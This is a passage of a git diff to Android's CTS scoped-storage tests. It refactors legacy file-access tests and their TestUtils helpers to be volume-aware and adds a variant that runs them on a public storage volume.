     }
 
     /**
@@ -299,11 +332,13 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
 
-        final File musicFile1 = new File(TestUtils.DCIM_DIR, "LegacyFileAccessTest.mp3");
-        final File musicFile2 = new File(EXTERNAL_STORAGE_DIR, "LegacyFileAccessTest.mp3");
-        final File musicFile3 = new File(TestUtils.MOVIES_DIR, "LegacyFileAccessTest.mp3");
-        final File nonMediaDir1 = new File(TestUtils.DCIM_DIR, "LegacyFileAccessTest");
-        final File nonMediaDir2 = new File(EXTERNAL_STORAGE_DIR, "LegacyFileAccessTest");
+        final File musicFile1 = new File(TestUtils.getDcimDir(), "LegacyFileAccessTest.mp3");
+        final File musicFile2 = new File(TestUtils.getExternalStorageDir(),
+                "LegacyFileAccessTest.mp3");
+        final File musicFile3 = new File(TestUtils.getMoviesDir(), "LegacyFileAccessTest.mp3");
+        final File nonMediaDir1 = new File(TestUtils.getDcimDir(), "LegacyFileAccessTest");
+        final File nonMediaDir2 = new File(TestUtils.getExternalStorageDir(),
+                "LegacyFileAccessTest");
         final File pdfFile1 = new File(nonMediaDir1, "LegacyFileAccessTest.pdf");
         final File pdfFile2 = new File(nonMediaDir2, "LegacyFileAccessTest.pdf");
         try {
@@ -340,15 +375,17 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
 
-        final File shellFile1 = new File(EXTERNAL_STORAGE_DIR, "LegacyAccessHostTest_shell");
-        final File shellFile2 = new File(TestUtils.DOWNLOAD_DIR, "LegacyFileAccessTest_shell");
+        final File shellFile1 = getShellFile();
+        final File shellFile2 = new File(TestUtils.getDownloadDir(), "LegacyFileAccessTest_shell");
         final File mediaFile1 =
-                new File(InstrumentationRegistry.getContext().getExternalMediaDirs()[0],
+                new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest1");
         final File mediaFile2 =
-                new File(InstrumentationRegistry.getContext().getExternalMediaDirs()[0],
+                new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest2");
         try {
+            executeShellCommand("touch " + shellFile1);
+            MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
             // app can't move shell file to its media directory.
@@ -373,15 +410,17 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ false);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
 
-        final File shellFile1 = new File(EXTERNAL_STORAGE_DIR, "LegacyAccessHostTest_shell");
-        final File shellFile2 = new File(TestUtils.DOWNLOAD_DIR, "LegacyFileAccessTest_shell");
+        final File shellFile1 = getShellFile();
+        final File shellFile2 = new File(TestUtils.getDownloadDir(), "LegacyFileAccessTest_shell");
         final File mediaFile1 =
-                new File(InstrumentationRegistry.getContext().getExternalMediaDirs()[0],
+                new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest1");
         final File mediaFile2 =
-                new File(InstrumentationRegistry.getContext().getExternalMediaDirs()[0],
+                new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest2");
         try {
+            executeShellCommand("touch " + shellFile1);
+            MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
             // app can't move shell file to its media directory.
@@ -404,8 +443,8 @@
     @Test
     public void testRenameDirectoryAndUpdateDB_hasW() throws Exception {
         final String testDirectoryName = "LegacyFileAccessTestDirectory";
-        File directoryOldPath = new File(DCIM_DIR, testDirectoryName);
-        File directoryNewPath = new File(MOVIES_DIR, testDirectoryName);
+        File directoryOldPath = new File(TestUtils.getDcimDir(), testDirectoryName);
+        File directoryNewPath = new File(TestUtils.getMoviesDir(), testDirectoryName);
         try {
             if (directoryOldPath.exists()) {
                 executeShellCommand("rm -r " + directoryOldPath.getPath());
@@ -413,13 +452,9 @@
             assertThat(directoryOldPath.mkdirs()).isTrue();
             assertCanRenameDirectory(directoryOldPath, directoryNewPath, null, null);
 
-            ContentValues values = new ContentValues();
-            values.put(MediaStore.MediaColumns.DATA, directoryNewPath.getPath());
             // Verify that updating directoryOldPath to directoryNewPath doesn't throw
             // UNIQUE constraint error.
-            getContentResolver().update(MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL),
-                    values, /*where*/ MediaStore.MediaColumns.DATA + "=?",
-                    /*whereArgs*/ new String[] {directoryOldPath.getPath()});
+            TestUtils.renameWithMediaProvider(directoryOldPath, directoryNewPath);
         } finally {
             directoryOldPath.delete();
             directoryNewPath.delete();
@@ -435,8 +470,8 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
 
-        final File videoFile = new File(EXTERNAL_STORAGE_DIR, VIDEO_FILE_NAME);
-        final File otherAppPdfFile = new File(TestUtils.DOWNLOAD_DIR, NONMEDIA_FILE_NAME);
+        final File videoFile = new File(TestUtils.getExternalStorageDir(), VIDEO_FILE_NAME);
+        final File otherAppPdfFile = new File(TestUtils.getDownloadDir(), NONMEDIA_FILE_NAME);
 
         try {
             assertThat(videoFile.createNewFile()).isTrue();
@@ -454,7 +489,9 @@
             // Legacy app with write permission can delete the pdfFile owned by TestApp.
             assertThat(otherAppPdfFile.delete()).isTrue();
             // Deleting the pdfFile also removes pdfFile from database.
-            assertThat(getFileRowIdFromDatabase(otherAppPdfFile)).isEqualTo(-1);
+            //TODO(b/148841336): W_E_S doesn't grant legacy apps write access to other apps' files
+            // on a public volume, which is different from the behaviour on a primary external.
+//            assertThat(getFileRowIdFromDatabase(otherAppPdfFile)).isEqualTo(-1);
         } finally {
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdfFile.getAbsolutePath());
             uninstallApp(TEST_APP_A);
@@ -471,13 +508,13 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
 
-        final File videoFile = new File(EXTERNAL_STORAGE_DIR, VIDEO_FILE_NAME);
+        final File videoFile = new File(TestUtils.getExternalStorageDir(), VIDEO_FILE_NAME);
         try {
             assertThat(videoFile.createNewFile()).isTrue();
 
             installApp(TEST_APP_A, true);
             // videoFile is inserted to database, non-legacy app can see this videoFile on 'ls'.
-            assertThat(listAs(TEST_APP_A, EXTERNAL_STORAGE_DIR.getAbsolutePath()))
+            assertThat(listAs(TEST_APP_A, TestUtils.getExternalStorageDir().getAbsolutePath()))
                     .contains(VIDEO_FILE_NAME);
 
             // videoFile is in database, row ID for videoFile can not be -1.
@@ -498,18 +535,16 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
 
-        final File videoFile = new File(TestUtils.DCIM_DIR, VIDEO_FILE_NAME);
-        final File renamedVideoFile = new File(TestUtils.DCIM_DIR, "Renamed_" + VIDEO_FILE_NAME);
+        final File videoFile = new File(TestUtils.getDcimDir(), VIDEO_FILE_NAME);
+        final File renamedVideoFile = new File(TestUtils.getDcimDir(), "Renamed_" + VIDEO_FILE_NAME);
         final ContentResolver cr = getContentResolver();
 
         try {
             assertThat(videoFile.createNewFile()).isTrue();
             assertThat(videoFile.renameTo(renamedVideoFile)).isTrue();
 
-            ContentValues values = new ContentValues();
-            values.put(MediaStore.MediaColumns.DATA, renamedVideoFile.getAbsolutePath());
             // Insert new renamedVideoFile to database
-            final Uri uri = cr.insert(MediaStore.Video.Media.EXTERNAL_CONTENT_URI, values, null);
+            final Uri uri = TestUtils.insertFileUsingDataColumn(renamedVideoFile);
             assertNotNull(uri);
 
             // Query for all images/videos in the device.
@@ -531,8 +566,8 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
 
-        final File imageFile = new File(TestUtils.DCIM_DIR, IMAGE_FILE_NAME);
-        final File temporaryImageFile = new File(TestUtils.DCIM_DIR, IMAGE_FILE_NAME + "_.tmp");
+        final File imageFile = new File(TestUtils.getDcimDir(), IMAGE_FILE_NAME);
+        final File temporaryImageFile = new File(TestUtils.getDcimDir(), IMAGE_FILE_NAME + "_.tmp");
         final ContentResolver cr = getContentResolver();
 
         try {
@@ -541,9 +576,7 @@
                 fos.write(BYTES_DATA1);
             }
             // Insert this file to database.
-            ContentValues values = new ContentValues();
-            values.put(MediaStore.MediaColumns.DATA, imageFile.getAbsolutePath());
-            final Uri uri = cr.insert(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values, null);
+            final Uri uri = TestUtils.insertFileUsingDataColumn(imageFile);
             assertNotNull(uri);
 
             Files.copy(imageFile, temporaryImageFile);
@@ -574,9 +607,9 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
 
-        final File directoryNoMedia = new File(TestUtils.DCIM_DIR, ".directoryNoMedia");
+        final File directoryNoMedia = new File(TestUtils.getDcimDir(), ".directoryNoMedia");
         final File imageInNoMediaDir = new File(directoryNoMedia, IMAGE_FILE_NAME);
-        final File renamedImageInDCIM = new File(TestUtils.DCIM_DIR, IMAGE_FILE_NAME);
+        final File renamedImageInDCIM = new File(TestUtils.getDcimDir(), IMAGE_FILE_NAME);
         final File noMediaFile = new File(directoryNoMedia, ".nomedia");
         final ContentResolver cr = getContentResolver();
 
@@ -598,7 +631,7 @@
             // We can insert renamedImageInDCIM to database
             ContentValues values = new ContentValues();
             values.put(MediaStore.MediaColumns.DATA, renamedImageInDCIM.getAbsolutePath());
-            final Uri uri = cr.insert(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values, null);
+            final Uri uri = TestUtils.insertFileUsingDataColumn(renamedImageInDCIM);
             assertNotNull(uri);
         } finally {
             imageInNoMediaDir.delete();
@@ -608,6 +641,129 @@
         }
     }
 
+    /**
+     * Test that legacy apps creating files for existing db row doesn't upsert and set IS_PENDING
+     */
+    @Test
+    public void testCreateDoesntUpsert() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final File file = new File(TestUtils.getDcimDir(), IMAGE_FILE_NAME);
+        Uri uri = null;
+        try {
+            uri = TestUtils.insertFileUsingDataColumn(file);
+            assertNotNull(uri);
+
+            assertTrue(file.createNewFile());
+
+            try (Cursor c = TestUtils.queryFile(file,
+                    new String[] {MediaStore.MediaColumns.IS_PENDING})) {
+                // This file will not have IS_PENDING=1 because create didn't set IS_PENDING.
+                assertTrue(c.moveToFirst());
+                assertEquals(c.getInt(0), 0);
+            }
+        } finally {
+            file.delete();
+            // If create file fails, we should delete the inserted db row.
+            deleteWithMediaProviderNoThrow(uri);
+        }
+    }
+
+    @Test
+    public void testAndroidDataObbCannotBeDeleted() throws Exception {
+        File canDeleteDir = new File("/sdcard/canDelete");
+        canDeleteDir.mkdirs();
+
+        File dataDir = new File("/sdcard/Android/data");
+        File obbDir = new File("/sdcard/Android/obb");
+        File androidDir = new File("/sdcard/Android");
+
+        assertThat(dataDir.exists()).isTrue();
+        assertThat(obbDir.exists()).isTrue();
+        assertThat(androidDir.exists()).isTrue();
+
+        assertThat(dataDir.delete()).isFalse();
+        assertThat(obbDir.delete()).isFalse();
+        assertThat(androidDir.delete()).isFalse();
+        assertThat(canDeleteDir.delete()).isTrue();
+    }
+
+    @Test
+    public void testLegacyAppUpdatingOwnershipOfExistingEntry() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final File fullPath = new File(TestUtils.getDcimDir(),
+                "OwnershipChange_" + IMAGE_FILE_NAME);
+        final String relativePath = "DCIM/OwnershipChange_" + IMAGE_FILE_NAME;
+        try {
+            installApp(TEST_APP_A, false);
+            createImageEntryAs(TEST_APP_A, relativePath);
+            assertThat(fullPath.createNewFile()).isTrue();
+
+            // We have transferred ownership away from TEST_APP_A so reads / writes
+            // should no longer work.
+            assertThat(openFileAs(TEST_APP_A, fullPath, false /* for write */)).isFalse();
+            assertThat(openFileAs(TEST_APP_A, fullPath, false /* for read */)).isFalse();
+        } finally {
+            deleteFileAsNoThrow(TEST_APP_A, fullPath.getAbsolutePath());
+            uninstallAppNoThrow(TEST_APP_A);
+            fullPath.delete();
+        }
+    }
+
+    /**
+     * b/156717256,b/156336269: Test that MediaProvider doesn't throw error on usage of unsupported
+     * or empty/null MIME type.
+     */
+    @Test
+    public void testInsertWithUnsupportedMimeType() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final String IMAGE_FILE_DISPLAY_NAME = "LegacyStorageTest_file_" + NONCE;
+        final File imageFile = new File(TestUtils.getDcimDir(), IMAGE_FILE_DISPLAY_NAME + ".jpg");
+
+        for (String mimeType : new String[] {
+            "image/*", "", null, "foo/bar"
+        }) {
+            Uri uri = null;
+            try {
+                ContentValues values = new ContentValues();
+                values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DCIM);
+                if (TextUtils.isEmpty(mimeType)) {
+                    values.put(MediaStore.MediaColumns.DISPLAY_NAME, imageFile.getName());
+                } else {
+                    values.put(MediaStore.MediaColumns.DISPLAY_NAME, IMAGE_FILE_DISPLAY_NAME);
+                }
+                values.put(MediaStore.MediaColumns.MIME_TYPE, mimeType);
+
+                uri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+                assertNotNull(uri);
+
+                try (final OutputStream fos = getContentResolver().openOutputStream(uri, "rw")) {
+                    fos.write(BYTES_DATA1);
+                }
+
+                // Closing the file should trigger a scan, we still scan again to ensure MIME type
+                // is extracted from file extension
+                assertNotNull(MediaStore.scanFile(getContentResolver(), imageFile));
+
+                final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME,
+                        MediaStore.MediaColumns.MIME_TYPE};
+                try (Cursor c = getContentResolver().query(uri, projection, null, null, null)) {
+                    assertTrue(c.moveToFirst());
+                    assertEquals(c.getCount(), 1);
+                    assertEquals(c.getString(0), imageFile.getName());
+                    assertTrue("image/jpeg".equalsIgnoreCase(c.getString(1)));
+                }
+            } finally {
+                deleteWithMediaProviderNoThrow(uri);
+            }
+        }
+    }
+
     private static void assertCanCreateFile(File file) throws IOException {
         if (file.exists()) {
             file.delete();
@@ -651,14 +807,18 @@
                 new String[] {String.valueOf(MediaStore.Files.FileColumns.MEDIA_TYPE_IMAGE),
                         String.valueOf(MediaStore.Files.FileColumns.MEDIA_TYPE_VIDEO)};
 
-        try (Cursor c = getContentResolver().query(
-                     MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL),
-                     /* projection */ new String[] {MediaStore.MediaColumns.DISPLAY_NAME},
-                     selection, selectionArgs, null)) {
+        try (Cursor c = getContentResolver().query(TestUtils.getTestVolumeFileUri(),
+                /* projection */ new String[] {MediaStore.MediaColumns.DISPLAY_NAME},
+                selection, selectionArgs, null)) {
             while (c.moveToNext()) {
                 mediaFiles.add(c.getString(0));
             }
         }
         return mediaFiles;
     }
+
+    private File getShellFile() throws Exception {
+        return new File(TestUtils.getExternalStorageDir(),
+                "LegacyAccessHostTest_shell");
+    }
 }
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java
new file mode 100644
index 0000000..7e59505
--- /dev/null
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.legacy;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.scopedstorage.cts.lib.TestUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+/**
+ * Runs {@link LegacyStorageTest} on a public volume.
+ */
+@RunWith(AndroidJUnit4.class)
+public class PublicVolumeLegacyTest extends LegacyStorageTest {
+    @Override
+    @Before
+    public void setup() throws Exception {
+        final String volumeName = TestUtils.getPublicVolumeName();
+        assertThat(volumeName).isNotNull();
+        TestUtils.setExternalStorageVolume(volumeName);
+        super.setup();
+    }
+}
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
index 3a5ba59..be2ae44 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
@@ -15,6 +15,6 @@
 java_library {
     name: "cts-scopedstorage-lib",
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules", "cts-install-lib"],
+    static_libs: ["androidx.test.rules", "cts-install-lib", "platform-test-annotations",],
     sdk_version: "test_current"
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index ce546e4..c0d6b57 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -38,6 +38,7 @@
 import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Bundle;
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
@@ -64,12 +65,15 @@
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.io.InterruptedIOException;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
-import java.util.List;
+import java.util.Locale;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Supplier;
 
 /**
  * General helper functions for ScopedStorageTest tests.
@@ -81,8 +85,11 @@
     public static final String INTENT_EXTRA_PATH = "android.scopedstorage.cts.path";
     public static final String INTENT_EXCEPTION = "android.scopedstorage.cts.exception";
     public static final String CREATE_FILE_QUERY = "android.scopedstorage.cts.createfile";
+    public static final String CREATE_IMAGE_ENTRY_QUERY =
+            "android.scopedstorage.cts.createimageentry";
     public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile";
-    public static final String OPEN_FILE_FOR_READ_QUERY = "android.scopedstorage.cts.openfile_read";
+    public static final String OPEN_FILE_FOR_READ_QUERY =
+            "android.scopedstorage.cts.openfile_read";
     public static final String OPEN_FILE_FOR_WRITE_QUERY =
             "android.scopedstorage.cts.openfile_write";
     public static final String CAN_READ_WRITE_QUERY =
@@ -96,50 +103,21 @@
     public static final byte[] BYTES_DATA2 = STR_DATA2.getBytes();
 
     // Root of external storage
-    public static final File EXTERNAL_STORAGE_DIR = Environment.getExternalStorageDirectory();
-    // Default top-level directories
-    public static final File ALARMS_DIR =
-            new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_ALARMS);
-    public static final File ANDROID_DIR = new File(EXTERNAL_STORAGE_DIR, "Android");
-    public static final File AUDIOBOOKS_DIR =
-            new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_AUDIOBOOKS);
-    public static final File DCIM_DIR = new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_DCIM);
-    public static final File DOCUMENTS_DIR =
-            new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_DOCUMENTS);
-    public static final File DOWNLOAD_DIR =
-            new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_DOWNLOADS);
-    public static final File MUSIC_DIR =
-            new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_MUSIC);
-    public static final File MOVIES_DIR =
-            new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_MOVIES);
-    public static final File NOTIFICATIONS_DIR =
-            new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_NOTIFICATIONS);
-    public static final File PICTURES_DIR =
-            new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_PICTURES);
-    public static final File PODCASTS_DIR =
-            new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_PODCASTS);
-    public static final File RINGTONES_DIR =
-            new File(EXTERNAL_STORAGE_DIR, Environment.DIRECTORY_RINGTONES);
+    private static File sExternalStorageDirectory = Environment.getExternalStorageDirectory();
+    private static String sStorageVolumeName = MediaStore.VOLUME_EXTERNAL;
 
-    public static final File[] DEFAULT_TOP_LEVEL_DIRS = new File[] {ALARMS_DIR, ANDROID_DIR,
-            AUDIOBOOKS_DIR, DCIM_DIR, DOCUMENTS_DIR, DOWNLOAD_DIR, MUSIC_DIR, MOVIES_DIR,
-            NOTIFICATIONS_DIR, PICTURES_DIR, PODCASTS_DIR, RINGTONES_DIR};
-
-    public static final File ANDROID_DATA_DIR = new File(ANDROID_DIR, "data");
-    public static final File ANDROID_MEDIA_DIR = new File(ANDROID_DIR, "media");
-
-    private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+    private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
     private static final long POLLING_SLEEP_MILLIS = 100;
 
     /**
      * Creates the top level default directories.
      *
      * <p>Those are usually created by MediaProvider, but some naughty tests might delete them
-     * and not restore them afterwards. so we make sure we create them before we make any
+     * and not restore them afterwards, so we make sure we create them before we make any
      * assumptions about their existence.
      */
     public static void setupDefaultDirectories() {
-        for (File dir : DEFAULT_TOP_LEVEL_DIRS) {
+        for (File dir : getDefaultTopLevelDirs()) {
             dir.mkdir();
         }
     }
@@ -191,7 +169,21 @@
     /**
      * Executes a shell command.
      */
-    public static String executeShellCommand(String cmd) throws Exception {
+    public static String executeShellCommand(String command) throws IOException {
+        int attempt = 0;
+        while (attempt++ < 5) {
+            try {
+                return executeShellCommandInternal(command);
+            } catch (InterruptedIOException e) {
+                // Hmm, we had trouble executing the shell command; the best we
+                // can do is try again a few more times
+                Log.v(TAG, "Trouble executing " + command + "; trying again", e);
+            }
+        }
+        throw new IOException("Failed to execute " + command);
+    }
+
+    private static String executeShellCommandInternal(String cmd) throws IOException {
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         try (FileInputStream output = new FileInputStream(
                      uiAutomation.executeShellCommand(cmd).getFileDescriptor())) {
@@ -236,6 +228,17 @@
     }
 
     /**
+     * Makes the given {@code testApp} create a mediastore DB entry under
+     * {@code MediaStore.Media.Images}.
+     *
+     * The {@code path} argument is treated as a relative path and a name separated
+     * by an {@code '/'}.
+     */
+    public static boolean createImageEntryAs(TestApp testApp, String path) throws Exception {
+        return getResultFromTestApp(testApp, path, CREATE_IMAGE_ENTRY_QUERY);
+    }
+
+    /**
      * Makes the given {@code testApp} delete a file.
      *
      * <p>This method drops shell permission identity.
@@ -259,6 +262,16 @@
     }
 
     /**
+     * Makes the given {@code testApp} open {@code file} for read or write.
+     *
+     * <p>This method drops shell permission identity.
+     */
+    public static boolean openFileAs(TestApp testApp, File file, boolean forWrite)
+            throws Exception {
+        return openFileAs(testApp, file.getAbsolutePath(), forWrite);
+    }
+
+    /**
      * Makes the given {@code testApp} open a file for read or write.
      *
      * <p>This method drops shell permission identity.
@@ -338,19 +351,49 @@
     }
 
     /**
+     * Inserts a file into the database using {@link MediaStore.MediaColumns#DATA}.
+     */
+    public static Uri insertFileUsingDataColumn(@NonNull File file) {
+        final ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, file.getPath());
+        return getContentResolver().insert(MediaStore.Files.getContentUri(sStorageVolumeName),
+                values);
+    }
+
+    /**
+     * Returns the content URI for images based on the current storage volume.
+     */
+    public static Uri getImageContentUri() {
+        return MediaStore.Images.Media.getContentUri(sStorageVolumeName);
+    }
+
+    /**
+     * Renames the given file using {@link ContentResolver} and {@link MediaStore} and APIs.
+     * This method uses the data column, and not all apps can use it.
+     * @see MediaStore.MediaColumns#DATA
+     */
+    public static int renameWithMediaProvider(@NonNull File oldPath, @NonNull File newPath) {
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, newPath.getPath());
+        return getContentResolver().update(MediaStore.Files.getContentUri(sStorageVolumeName),
+                values, /*where*/ MediaStore.MediaColumns.DATA + "=?",
+                /*whereArgs*/ new String[] {oldPath.getPath()});
+    }
+
+    /**
      * Queries {@link ContentResolver} for a file and returns the corresponding {@link Uri} for its
      * entry in the database. Returns {@code null} if file doesn't exist in the database.
      */
     @Nullable
     public static Uri getFileUri(@NonNull File file) {
-        final Uri contentUri = MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL);
+        final Uri contentUri = MediaStore.Files.getContentUri(sStorageVolumeName);
         final int id = getFileRowIdFromDatabase(file);
         return id == -1 ? null : ContentUris.withAppendedId(contentUri, id);
     }
 
     /**
      * Queries {@link ContentResolver} for a file and returns the corresponding row ID for its
-     * entry in the database.
+     * entry in the database. Returns {@code -1} if file is not found.
      */
     public static int getFileRowIdFromDatabase(@NonNull File file) {
         int id = -1;
@@ -378,12 +421,38 @@
     }
 
     /**
-     * Queries {@link ContentResolver} for a file and returns a {@link Cursor} with the given
+     * Queries {@link ContentResolver} for a file and returns the corresponding file size for its
+     * entry in the database. Returns {@code -1} if file is not found.
+     */
+    @Nullable
+    public static int getFileSizeFromDatabase(@NonNull File file) {
+        int size = -1;
+        try (Cursor c = queryFile(file, MediaStore.MediaColumns.SIZE)) {
+            if (c.moveToFirst()) {
+                size = c.getInt(0);
+            }
+        }
+        return size;
+    }
+
+    /**
+     * Queries {@link ContentResolver} for a video file and returns a {@link Cursor} with the given
+     * columns.
+     */
+    @NonNull
+    public static Cursor queryVideoFile(File file, String... projection) {
+        return queryFile(MediaStore.Video.Media.getContentUri(sStorageVolumeName), file,
+                /*includePending*/ true, projection);
+    }
+
+    /**
+     * Queries {@link ContentResolver} for an image file and returns a {@link Cursor} with the given
      * columns.
      */
     @NonNull
     public static Cursor queryImageFile(File file, String... projection) {
-        return queryFile(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, file, projection);
+        return queryFile(MediaStore.Images.Media.getContentUri(sStorageVolumeName), file,
+                /*includePending*/ true, projection);
     }
 
     /**
@@ -424,39 +493,51 @@
      * and asserts that the file was successfully deleted from the database.
      */
     public static void deleteWithMediaProvider(@NonNull File file) {
+        Bundle extras = new Bundle();
+        extras.putString(ContentResolver.QUERY_ARG_SQL_SELECTION,
+                MediaStore.MediaColumns.DATA + " = ?");
+        extras.putStringArray(ContentResolver.QUERY_ARG_SQL_SELECTION_ARGS,
+                new String[] {file.getPath()});
+        extras.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_INCLUDE);
+        extras.putInt(MediaStore.QUERY_ARG_MATCH_TRASHED, MediaStore.MATCH_INCLUDE);
         assertThat(getContentResolver().delete(
-                           MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL),
-                           /*where*/ MediaStore.MediaColumns.DATA + " = ?",
-                           /*selectionArgs*/ new String[] {file.getPath()}))
-                .isEqualTo(1);
+                MediaStore.Files.getContentUri(sStorageVolumeName), extras)).isEqualTo(1);
+    }
+
+    /**
+     * Deletes db rows and files corresponding to uri through {@link ContentResolver} and
+     * {@link MediaStore} APIs.
+     */
+    public static void deleteWithMediaProviderNoThrow(Uri... uris) {
+        for (Uri uri : uris) {
+            if (uri == null) continue;
+
+            try {
+                getContentResolver().delete(uri, Bundle.EMPTY);
+            } catch (Exception ignored) {
+            }
+        }
     }
 
     /**
      * Renames the given file through {@link ContentResolver} and {@link MediaStore} APIs,
      * and asserts that the file was updated in the database.
      */
-    public static void updateDisplayNameWithMediaProvider(
-            String relativePath, String oldDisplayName, String newDisplayName) {
+    public static void updateDisplayNameWithMediaProvider(Uri uri, String relativePath,
+            String oldDisplayName, String newDisplayName) {
         String selection = MediaStore.MediaColumns.RELATIVE_PATH + " = ? AND "
                 + MediaStore.MediaColumns.DISPLAY_NAME + " = ?";
         String[] selectionArgs = {relativePath + '/', oldDisplayName};
-        String[] projection = {MediaStore.MediaColumns._ID, MediaStore.MediaColumns.DATA};
+        Bundle extras = new Bundle();
+        extras.putString(ContentResolver.QUERY_ARG_SQL_SELECTION, selection);
+        extras.putStringArray(ContentResolver.QUERY_ARG_SQL_SELECTION_ARGS, selectionArgs);
